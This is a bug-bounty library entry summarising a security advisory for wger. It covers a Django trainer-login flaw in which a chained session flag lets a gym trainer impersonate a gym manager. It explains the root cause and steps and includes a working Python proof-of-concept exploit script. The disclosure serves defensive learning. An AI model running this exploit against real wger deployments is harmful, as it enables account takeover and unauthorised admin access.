# wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager

wger trainer-login permission check short-circuits on session flag, letting a gym trainer chain hops to impersonate a gym manager.

- Payout: Research
- Severity: high
- Program: wger
- Found by: KadirArslan
- Disclosed: 2026-05-14
- CVE: CVE-2026-43978
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-9qpr-vc49-hqg2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9qpr-vc49-hqg2
- Tags: area:web domain:web impact:ato impact:privesc kind:research platform:ghsa sev:high tech:python technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:business-logic vuln:privilege-escalation

**Target:** Django trainer-login endpoint (/user/<pk>/trainer-login) in wger/core/views/user.py
**Root cause:** Permission check uses `not has_perm('gym.gym_trainer') and not session.get('trainer.identity')`, so a set session flag bypasses the check entirely; the target-protection block only runs when request.user is a trainer, so it never fires on chained hops.
**Steps:**
1. Log in as `trainer1` holding only `gym.gym_trainer`.
2. Call `GET /en/user/4/trainer-login` to switch into low-privileged `regular1`; this sets `session['trainer.identity']`.
3. As `regular1`, call `GET /en/user/3/trainer-login` targeting `manager1`; line 169 short-circuits on the session flag and line 173 is skipped.
4. Confirm via `/api/v2/userprofile/` that the session is now `manager1`.
**How found:** Code review of the trainer-login view: noticed the AND condition at line 169 lets the session flag short-circuit the permission check, and that the target-user guard at line 173 only applies when request.user is a trainer.
**Exploitation:** Any authenticated gym trainer performs one legitimate trainer-login switch, then reuses the persisted session flag to hop into any higher-privileged account in the gym, gaining full gym admin access.
**Escalation:** Chaining a second trainer-login call after a legitimate switch converts a low-privilege trainer into a gym manager/general manager.
**Insight:** When a view authorizes via a session flag set by a prior privileged action, check whether the flag alone satisfies the gate on later calls and whether target-protection logic is gated on the current (now-switched) user rather than the original actor.

## Proof of concept (copied exactly from the original report)

**Python exploit script chaining trainer-login calls**

```
import requests

BASE = 'http://localhost:80'
s = requests.Session()

def whoami():
    r = s.get(f'{BASE}/api/v2/userprofile/',
              headers={'Accept': 'application/json'})
    return r.json().get('username')

# ─────────────────────────────────────────────
print("=" * 55)
print("  PoC: Trainer Login Privilege Escalation")
print("  wger/core/views/user.py:169")
print("=" * 55)

# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print("         trainer1 has ONLY 'gym.gym_trainer' permission")

s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
    'username': 'trainer1',
    'password': 'pass1234',
    'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f"         Current user  : {whoami()}")
print(f"         Permission    : gym.gym_trainer (NOT manage_gym)")

# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print("         This is ALLOWED — trainer1 has gym_trainer permission")
print("         Side effect: session['trainer.identity'] = trainer1_pk")

s.get(f'{BASE}/en/user/4/trainer-login')
print(f"         Current user  : {whoami()}")
print(f"         Session flag  : trainer.identity is now SET")

# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print("         regular1 has ZERO permissions")
print("         BUT session['trainer.identity'] is set from Step 2")
print("         Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")

s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f"         Current user  : {result}")

# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
    print("  RESULT : !! VULNERABLE !!")
    print("  trainer1 (gym_trainer) is now logged in as manager1")
    print("  manager1 has 'gym.manage_gym' — full gym admin access")
else:
    print("  RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)
```

